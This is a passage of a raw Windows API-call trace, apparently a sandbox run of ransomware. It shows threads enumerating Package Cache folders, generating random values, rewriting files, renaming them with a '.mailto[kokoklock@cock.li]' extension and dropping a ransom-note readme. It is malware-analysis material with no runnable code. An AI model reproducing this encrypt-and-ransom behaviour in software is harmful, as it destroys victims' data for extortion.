Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages" [0086.547] wcscat (in: _Dest=0x34835a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\" [0086.547] wcscat (in: _Dest=0x34835a0, _Source="vcRuntimeAdditional_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64" [0087.929] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x34835a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa3c [0087.929] FindNextFileW (in: hFindFile=0x33e0498, lpFindFileData=0x33f6530 | out: lpFindFileData=0x33f6530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc84ca0a, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc84ca0a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0087.929] FindClose (in: hFindFile=0x33e0498 | out: hFindFile=0x33e0498) returned 1 [0087.929] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6530) returned 1 [0087.930] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3487e40) returned 1 [0087.930] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3432230) returned 1 [0087.930] RtlExitUserThread (Status=0x0) Thread: id = 1253 os_tid = 0x1078 [0084.651] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x3487f08 [0084.653] wcscpy (in: _Dest=0x3487f08, _Source="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" [0084.653] wcscat (in: _Dest=0x3487f08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\" [0084.653] wcscat (in: _Dest=0x3487f08, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*" [0084.653] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f2908 [0084.653] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*", lpFindFileData=0x33f2908 | out: lpFindFileData=0x33f2908*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e04d8 [0086.547] wcscmp (_String1=".", _String2=".") returned 0 [0086.547] FindNextFileW (in: hFindFile=0x33e04d8, lpFindFileData=0x33f2908 | out: lpFindFileData=0x33f2908*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.547] wcscmp (_String1="..", _String2=".") returned 1 [0086.547] wcscmp (_String1="..", _String2="..") returned 0 [0086.547] FindNextFileW (in: hFindFile=0x33e04d8, lpFindFileData=0x33f2908 | out: lpFindFileData=0x33f2908*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3080926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0086.547] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2=".") returned 1 [0086.547] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2="..") returned 1 [0086.547] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe6) returned 0x348ad88 [0086.547] wcscpy (in: _Dest=0x348ad88, _Source="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" [0086.547] wcscat (in: _Dest=0x348ad88, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\" [0086.547] wcscat (in: _Dest=0x348ad88, _Source="vcRuntimeMinimum_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64" [0087.927] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x348ad88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f0 [0087.928] FindNextFileW (in: hFindFile=0x33e04d8, lpFindFileData=0x33f2908 | out: lpFindFileData=0x33f2908*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3080926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0087.928] FindClose (in: hFindFile=0x33e04d8 | out: hFindFile=0x33e04d8) returned 1 [0087.928] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f2908) returned 1 [0087.928] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3487f08) returned 1 [0087.928] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431580) returned 1 [0087.928] RtlExitUserThread (Status=0x0) Thread: id = 1254 os_tid = 0x10f8 [0084.654] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm")) returned 0x20 [0084.655] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm", dwFileAttributes=0x20) returned 1 [0084.655] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8e0 [0084.655] GetFileSizeEx (in: hFile=0x8e0, lpFileSize=0x2bfbf844 | out: lpFileSize=0x2bfbf844*=626) returned 1 [0084.655] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x26e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.655] ReadFile (in: hFile=0x8e0, lpBuffer=0x2bfbf818, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bfbf814, lpOverlapped=0x0 | out: lpBuffer=0x2bfbf818*, lpNumberOfBytesRead=0x2bfbf814*=0x4, lpOverlapped=0x0) returned 1 [0084.656] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.656] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d988 [0084.656] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491ee8 [0084.656] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491da8 [0084.656] NtQuerySystemTime (in: CurrentTime=0x2bfbf7f0 | out: CurrentTime=0x2bfbf7f0*=132121176425547675) returned 0x0 [0084.656] RtlRandom (in: Seed=0x2bfbf7fc | out: Seed=0x2bfbf7fc) returned 0x9f15c310 [0084.656] RtlRandom (in: Seed=0x2bfbf7fc | out: Seed=0x2bfbf7fc) returned 0x55cb19b5 [0084.656] RtlRandom (in: Seed=0x2bfbf7fc | out: Seed=0x2bfbf7fc) returned 0x89342020 [0084.656] RtlRandom (in: Seed=0x2bfbf7fc | out: Seed=0x2bfbf7fc) returned 0xf48d8ae8 [0084.656] RtlRandom (in: Seed=0x2bfbf7fc | out: Seed=0x2bfbf7fc) returned 0x3e4ff6dc [0084.656] RtlRandom (in: Seed=0x2bfbf7fc | out: Seed=0x2bfbf7fc) returned 0xe2daee3d [0084.656] RtlRandom (in: Seed=0x2bfbf7fc | out: Seed=0x2bfbf7fc) returned 0xac132056 [0084.656] RtlRandom (in: Seed=0x2bfbf7fc | out: Seed=0x2bfbf7fc) returned 0xdcecdaa1 [0084.656] RtlRandom (in: Seed=0x2bfbf7fc | out: Seed=0x2bfbf7fc) returned 0x454f1a0e [0084.656] RtlRandom (in: Seed=0x2bfbf7fc | out: Seed=0x2bfbf7fc) returned 0xb6ea552e [0084.656] RtlRandom (in: Seed=0x2bfbf7fc | out: Seed=0x2bfbf7fc) returned 0xbefb5c4c [0084.656] RtlRandom (in: Seed=0x2bfbf7fc | out: Seed=0x2bfbf7fc) returned 0xb4d0fd07 [0084.657] RtlRandom (in: Seed=0x2bfbf7fc | out: Seed=0x2bfbf7fc) returned 0x256edf2d [0084.657] RtlRandom (in: Seed=0x2bfbf7fc | out: Seed=0x2bfbf7fc) returned 0x68858a36 [0084.657] RtlRandom (in: Seed=0x2bfbf7fc | out: Seed=0x2bfbf7fc) returned 0x835e4a7c [0084.657] RtlRandom (in: Seed=0x2bfbf7fc | out: Seed=0x2bfbf7fc) returned 0x5068f7d7 [0084.657] RtlRandom (in: Seed=0x2bfbf7fc | out: Seed=0x2bfbf7fc) returned 0x5387ab98 [0084.657] RtlRandom (in: Seed=0x2bfbf7fc | out: Seed=0x2bfbf7fc) returned 0x57324625 [0084.657] RtlRandom (in: Seed=0x2bfbf7fc | out: Seed=0x2bfbf7fc) returned 0xb8275fdc [0084.657] RtlRandom (in: Seed=0x2bfbf7fc | out: Seed=0x2bfbf7fc) returned 0x349b619d [0084.657] RtlRandom (in: Seed=0x2bfbf7fc | out: Seed=0x2bfbf7fc) returned 0xa5db0a7c [0084.657] RtlRandom (in: Seed=0x2bfbf7fc | out: Seed=0x2bfbf7fc) returned 0xe9c5b0eb [0084.657] RtlRandom (in: Seed=0x2bfbf7fc | out: Seed=0x2bfbf7fc) returned 0x286eb535 [0084.657] RtlRandom (in: Seed=0x2bfbf7fc | out: Seed=0x2bfbf7fc) returned 0xb76adc48 [0084.657] RtlRandom (in: Seed=0x2bfbf7fc | out: Seed=0x2bfbf7fc) returned 0xc693445a [0084.657] RtlRandom (in: Seed=0x2bfbf7fc | out: Seed=0x2bfbf7fc) returned 0x1be0608e [0084.657] RtlRandom (in: Seed=0x2bfbf7fc | out: Seed=0x2bfbf7fc) returned 0xef8be2e6 [0084.657] RtlRandom (in: Seed=0x2bfbf7fc | out: Seed=0x2bfbf7fc) returned 0x22a6a8e2 [0084.657] RtlRandom (in: Seed=0x2bfbf7fc | out: Seed=0x2bfbf7fc) returned 0x2b04137a [0084.657] RtlRandom (in: Seed=0x2bfbf7fc | out: Seed=0x2bfbf7fc) returned 0x7649bd7e [0084.657] RtlRandom (in: Seed=0x2bfbf7fc | out: Seed=0x2bfbf7fc) returned 0x71ccc735 [0084.657] RtlRandom (in: Seed=0x2bfbf7fc | out: Seed=0x2bfbf7fc) returned 0xebc02ab7 [0084.674] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ff58) returned 1 [0084.674] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d988) returned 1 [0084.674] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3e8 [0084.674] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347fa30 [0084.674] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34914e8 [0084.674] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34914e8) returned 1 [0084.674] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0084.674] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0084.674] ReadFile (in: hFile=0x8e0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x272, lpNumberOfBytesRead=0x2bfbf7f0, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2bfbf7f0*=0x272, lpOverlapped=0x0) returned 1 [0084.674] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bfbf7b8 | out: lpNewFilePointer=0x0) returned 1 [0084.674] WriteFile (in: hFile=0x8e0, lpBuffer=0x55d8058*, nNumberOfBytesToWrite=0x272, lpNumberOfBytesWritten=0x2bfbf7ec, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesWritten=0x2bfbf7ec*=0x272, lpOverlapped=0x0) returned 1 [0084.674] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34914e8 [0084.674] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491a88 [0084.674] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491a88) returned 1 [0084.675] WriteFile (in: hFile=0x8e0, lpBuffer=0x34914e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2bfbf7e8, lpOverlapped=0x0 | out: lpBuffer=0x34914e8*, lpNumberOfBytesWritten=0x2bfbf7e8*=0x20, lpOverlapped=0x0) returned 1 [0084.675] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34914e8) returned 1 [0084.675] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0084.675] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0084.675] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fa30) returned 1 [0084.675] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3e8) returned 1 [0084.675] WriteFile (in: hFile=0x8e0, lpBuffer=0x3491448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2bfbf814, lpOverlapped=0x0 | out: lpBuffer=0x3491448*, lpNumberOfBytesWritten=0x2bfbf814*=0x8, lpOverlapped=0x0) returned 1 [0084.675] WriteFile (in: hFile=0x8e0, lpBuffer=0x2bfbf82c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2bfbf814, lpOverlapped=0x0 | out: lpBuffer=0x2bfbf82c*, lpNumberOfBytesWritten=0x2bfbf814*=0x4, lpOverlapped=0x0) returned 1 [0084.675] WriteFile (in: hFile=0x8e0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2bfbf814, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2bfbf814*=0x4, lpOverlapped=0x0) returned 1 [0084.675] WriteFile (in: hFile=0x8e0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2bfbf814, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2bfbf814*=0x6c, lpOverlapped=0x0) returned 1 [0084.676] WriteFile (in: hFile=0x8e0, lpBuffer=0x3491ee8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2bfbf814, lpOverlapped=0x0 | out: lpBuffer=0x3491ee8*, lpNumberOfBytesWritten=0x2bfbf814*=0x20, lpOverlapped=0x0) returned 1 [0084.676] WriteFile (in: hFile=0x8e0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2bfbf814, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2bfbf814*=0x4, lpOverlapped=0x0) returned 1 [0084.676] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491ee8) returned 1 [0084.676] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491330) returned 1 [0084.676] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491448) returned 1 [0084.676] CloseHandle (hObject=0x8e0) returned 1 [0084.676] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe6) returned 0x348ac98 [0084.676] wcscpy (in: _Dest=0x348ac98, _Source="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" [0084.676] wcscat (in: _Dest=0x348ac98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.mailto[kokoklock@cock.li].d0e731" [0084.676] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.678] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.678] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348ac98) returned 1 [0084.678] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm", dwFileAttributes=0x20) returned 0 [0084.679] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x3430980 [0084.679] wcscpy (in: _Dest=0x3430980, _Source="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\" [0084.679] wcscat (in: _Dest=0x3430980, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\D0E731-Readme.txt" [0084.679] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\d0e731-readme.txt")) returned 0xffffffff [0084.679] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8e0 [0084.679] WriteFile (in: hFile=0x8e0, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2bfbf810, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2bfbf810*=0x481, lpOverlapped=0x0) returned 1 [0084.680] CloseHandle (hObject=0x8e0) returned 1 [0084.680] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430980) returned 1 [0084.680] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f1510) returned 1 [0084.680] RtlExitUserThread (Status=0x1) Thread: id = 1255 os_tid = 0x10fc [0084.681] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe")) returned 0x20 [0084.682] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe", dwFileAttributes=0x20) returned 1 [0084.682] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8e0 [0084.682] GetFileSizeEx (in: hFile=0x8e0, lpFileSize=0x2c03fae8 | out: lpFileSize=0x2c03fae8*=455576) returned 1 [0084.682] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x6f394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.682] ReadFile (in: hFile=0x8e0, lpBuffer=0x2c03fabc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c03fab8, lpOverlapped=0x0 | out: lpBuffer=0x2c03fabc*, lpNumberOfBytesRead=0x2c03fab8*=0x4, lpOverlapped=0x0) returned 1 [0084.683] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.683] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491330 [0084.683] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34914e8 [0084.683] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491448 [0084.683] NtQuerySystemTime (in: CurrentTime=0x2c03fa94 | out: CurrentTime=0x2c03fa94*=132121176425703990) returned 0x0 [0084.683] RtlRandom (in: Seed=0x2c03faa0 | out: Seed=0x2c03faa0) returned 0x8dd69a2b [0084.683] RtlRandom (in: Seed=0x2c03faa0 | out: Seed=0x2c03faa0) returned 0xa8b8f3c5 [0084.683] RtlRandom (in: Seed=0x2c03faa0 | out: Seed=0x2c03faa0) returned 0x5632da5f [0084.683] RtlRandom (in: Seed=0x2c03faa0 | out: Seed=0x2c03faa0) returned 0x68b256e0 [0084.684] RtlRandom (in: Seed=0x2c03faa0 | out: Seed=0x2c03faa0) returned 0x5cf0a14c [0084.684] RtlRandom (in: Seed=0x2c03faa0 | out: Seed=0x2c03faa0) returned 0x82e530ef [0084.684] RtlRandom (in: Seed=0x2c03faa0 | out: Seed=0x2c03faa0) returned 0x9a2930de [0084.684] RtlRandom (in: Seed=0x2c03faa0 | out: Seed=0x2c03faa0) returned 0x7c5ead52 [0084.684] RtlRandom (in: Seed=0x2c03faa0 | out: Seed=0x2c03faa0) returned 0xbfd04f06 [0084.684] RtlRandom (in: Seed=0x2c03faa0 | out: Seed=0x2c03faa0) returned 0xc724d485 [0084.684] RtlRandom (in: Seed=0x2c03faa0 | out: Seed=0x2c03faa0) returned 0xa01033e [0084.684] RtlRandom (in: Seed=0x2c03faa0 | out: Seed=0x2c03faa0) returned 0x21ab2067 [0084.684] RtlRandom (in: Seed=0x2c03faa0 | out: Seed=0x2c03faa0) returned 0x9e7db8ea [0084.684] RtlRandom (in: Seed=0x2c03faa0 | out: Seed=0x2c03faa0) returned 0x130ea2ef [0084.684] RtlRandom (in: Seed=0x2c03faa0 | out: Seed=0x2c03faa0) returned 0xb2ff756 [0084.684] RtlRandom (in: Seed=0x2c03faa0 | out: Seed=0x2c03faa0) returned 0xd68e51f0 [0084.684] RtlRandom (in: Seed=0x2c03faa0 | out: Seed=0x2c03faa0) returned 0x78e1a942 [0084.684] RtlRandom (in: Seed=0x2c03faa0 | out: Seed=0x2c03faa0) returned 0x35ac532a [0084.684] RtlRandom (in: Seed=0x2c03faa0 | out: Seed=0x2c03faa0) returned 0x57366cde [0084.684] RtlRandom (in: Seed=0x2c03faa0 | out: Seed=0x2c03faa0) returned 0x37a83d81 [0084.684] RtlRandom (in: Seed=0x2c03faa0 | out: Seed=0x2c03faa0) returned 0x1ed1d7c3 [0084.684] RtlRandom (in: Seed=0x2c03faa0 | out: Seed=0x2c03faa0) returned 0xfe9e228 [0084.684] RtlRandom (in: Seed=0x2c03faa0 | out: Seed=0x2c03faa0) returned 0x34cd58a1 [0084.684] RtlRandom (in: Seed=0x2c03faa0 | out: Seed=0x2c03faa0) returned 0x73c52ccd [0084.684] RtlRandom (in: Seed=0x2c03faa0 | out: Seed=0x2c03faa0) returned 0x8c02b859 [0084.684] RtlRandom (in: Seed=0x2c03faa0 | out: Seed=0x2c03faa0) returned 0x8b1b523d [0084.684] RtlRandom (in: Seed=0x2c03faa0 | out: Seed=0x2c03faa0) returned 